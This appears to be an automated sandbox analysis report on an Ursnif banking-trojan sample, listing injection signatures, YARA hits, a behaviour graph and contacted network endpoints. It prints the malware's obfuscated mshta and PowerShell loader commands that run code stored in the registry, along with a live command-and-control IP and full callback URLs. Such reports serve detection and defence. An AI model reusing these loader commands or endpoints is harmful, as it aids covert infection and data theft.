Source: C:\Windows\System32\control.exe Memory written: PID: 3616 base: 7FF802BC1580 value: 40 Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\rundll32.exe Thread register set: target process: 6364 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread register set: target process: 3616 Jump to behavior
Source: C:\Windows\System32\control.exe Thread register set: target process: 3616 Jump to behavior
Creates a thread in another existing process (thread injection)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread created: C:\Windows\explorer.exe EIP: 2BC1580 Jump to behavior
Source: C:\Windows\System32\control.exe Thread created: C:\Windows\explorer.exe EIP: 2BC1580 Jump to behavior
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 2BC1580
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Cwbm='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Cwbm).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name asytsrjo -value gp; new-alias -name famnsyvweq -value iex; famnsyvweq ([System.Text.Encoding]::ASCII.GetString((asytsrjo "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name asytsrjo -value gp; new-alias -name famnsyvweq -value iex; famnsyvweq ([System.Text.Encoding]::ASCII.GetString((asytsrjo "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\zs5n5sI6N2.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name asytsrjo -value gp; new-alias -name famnsyvweq -value iex; famnsyvweq ([System.Text.Encoding]::ASCII.GetString((asytsrjo "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rn2v1u0v\rn2v1u0v.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0rxpcrxp\0rxpcrxp.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBB61.tmp" "c:\Users\user\AppData\Local\Temp\rn2v1u0v\CSCE8729092494447E68BAFD2B3DE7C4FE.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDBAB.tmp" "c:\Users\user\AppData\Local\Temp\0rxpcrxp\CSC81748258BEC6426288BE9680C960B04E.TMP"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: explorer.exe, 00000022.00000000.523335281.0000000005610000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000022.00000000.463731939.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000022.00000000.516198461.0000000005E64000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000022.00000000.511545819.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000022.00000000.492179695.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000022.00000000.463353335.00000000005C8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000022.00000000.463731939.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000022.00000000.472145226.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000022.00000000.512176237.0000000000B50000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager,
Source: explorer.exe, 00000022.00000000.463731939.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000022.00000000.472145226.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000022.00000000.512176237.0000000000B50000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01003365 cpuid 3_2_01003365
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B781F1 CreateNamedPipeA,GetLastError,CloseHandle,GetLastError, 3_2_05B781F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01004B89 SwitchToThread,GetSystemTimeAsFileTime,_aullrem,Sleep, 3_2_01004B89
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01006D78 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError, 3_2_01006D78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01003365 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree, 3_2_01003365

Stealing of Sensitive Information
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.431296892.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.324102664.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323570193.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.375616313.000000000509C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000003.469656953.0000020923FDC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323251316.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373340776.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.450528570.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.322813142.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.324135232.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.322932603.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.370749098.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.450680701.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323857679.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323438533.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.458070359.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 4452, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6364, type: MEMORYSTR
Source: Yara match File source: 3.3.rundll32.exe.4b794a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b794a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.rundll32.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5246b48.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.52194a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5246b48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.519a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.52194a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.519a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.511055251.0000000005B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.505479603.0000000004B79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.508865065.0000000004F1F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.449708876.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.447845466.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.446537800.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373077205.000000000519A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373165051.0000000005219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.431296892.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.324102664.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323570193.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.375616313.000000000509C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000003.469656953.0000020923FDC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323251316.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373340776.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.450528570.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.322813142.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.324135232.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.322932603.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.370749098.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.450680701.000001F31E7EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323857679.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.323438533.0000000005298000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.458070359.0000000005FB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 4452, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6364, type: MEMORYSTR
Source: Yara match File source: 3.3.rundll32.exe.4b794a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b794a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.rundll32.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5246b48.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.52194a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5246b48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.519a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.52194a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.519a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.511055251.0000000005B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.505479603.0000000004B79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.508865065.0000000004F1F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.449708876.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.447845466.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.446537800.00000000007F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373077205.000000000519A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.373165051.0000000005219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 633919 Sample: zs5n5sI6N2 Startdate: 25/05/2022 Architecture: WINDOWS Score: 100 67 Snort IDS alert for network traffic 2->67 69 Found malware configuration 2->69 71 Antivirus detection for URL or domain 2->71 73 3 other signatures 2->73 11 loaddll32.exe 1 2->11         started        13 mshta.exe 19 2->13         started        process3 process4 15 cmd.exe 1 11->15         started        17 WerFault.exe 2 9 11->17         started        19 WerFault.exe 3 9 11->19         started        21 WerFault.exe 3 9 11->21         started        23 powershell.exe 32 13->23         started        signatures5 26 rundll32.exe 1 6 15->26         started        83 Injects code into the Windows Explorer (explorer.exe) 23->83 85 Writes to foreign memory regions 23->85 87 Modifies the context of a thread in another process (thread injection) 23->87 89 2 other signatures 23->89 30 csc.exe 3 23->30         started        33 csc.exe 23->33         started        35 conhost.exe 23->35         started        process6 dnsIp7 65 176.10.119.68, 49771, 80 AS-SOFTPLUSCH Switzerland 26->65 91 System process connects to network (likely due to code injection or exploit) 26->91 93 Writes to foreign memory regions 26->93 95 Allocates memory in foreign processes 26->95 97 3 other signatures 26->97 37 control.exe 1 26->37         started        59 C:\Users\user\AppData\Local\...\rn2v1u0v.dll, PE32 30->59 dropped 40 cvtres.exe 1 30->40         started        61 C:\Users\user\AppData\Local\...\0rxpcrxp.dll, PE32 33->61 dropped 42 cvtres.exe 33->42         started        file8 signatures9 process10 signatures11 75 Changes memory attributes in foreign processes to executable or writable 37->75 77 Injects code into the Windows Explorer (explorer.exe) 37->77 79 Writes to foreign memory regions 37->79 81 4 other signatures 37->81 44 explorer.exe 37->44 injected process12 signatures13 99 Changes memory attributes in foreign processes to executable or writable 44->99 101 Self deletion via cmd delete 44->101 103 Writes to foreign memory regions 44->103 105 2 other signatures 44->105 47 cmd.exe 44->47         started        50 RuntimeBroker.exe 44->50 injected 52 cmd.exe 44->52         started        process14 signatures15 107 Uses ping.exe to sleep 47->107 109 Uses ping.exe to check the status of other devices and networks 47->109 54 PING.EXE 47->54         started        57 conhost.exe 47->57         started        process16 dnsIp17 63 192.168.2.1 unknown unknown 54->63
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
176.10.119.68
 unknown Switzerland
51395 AS-SOFTPLUSCH true

Private

IP
192.168.2.1

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://176.10.119.68/drew/bht18BKt3t1ka1/EyRQXKSxK1fGGVQT69xe7/l12WvU97arR8lucE/BPan_2BqxdC9XZm/a6pB9pAoQo46tq53qB/yLUp2d5T9/j5s74YMStQa0vycAYVnz/i1_2BT1sbtGbsqmiKYJ/utxS2UAD48D_2FhKmTNhPj/C7HmcyJhh_2BI/RoK5qxzW/AONvbwwgZ6joXACVCUjXkBm/TrT5RUjDbT/JqnBRntI67DVKvl4U/zabjaRP4H3Fa/y7F2cIC4htT/NfLmrAWL7x6jSO/onSOjeHvFKi2HNfNhR_2F/KXsh6.jlk true
  • Avira URL Cloud: phishing
 unknown
http://176.10.119.68/drew/RGq_2BVJ/3BCdlnfIA49R8s_2BXe1s3i/VFrZ4awbB4/zmZ34_2Bwuhkj_2Fp/SYr8rby3ftco/TjSDtFakSde/soGhjhBV5Tb5mX/q7nM_2FDyGsXlD3E3A4fe/_2ByGCIGrgekC2k4/_2BIghzEoEtICMG/eMdl_2FVYz1Gzr3rXb/6bQxvF882/0gJazcAIQC6vmyI4DEnR/k0LRXXmFX8YlpSLVUNq/6DaeywiN2GwHaJFGl8Ik7G/m9UBKgfO4ybSV/fnhYeS0x/hab1JQvgZCtDWyU/A.jlk true
  • Avira URL Cloud: phishing
 unknown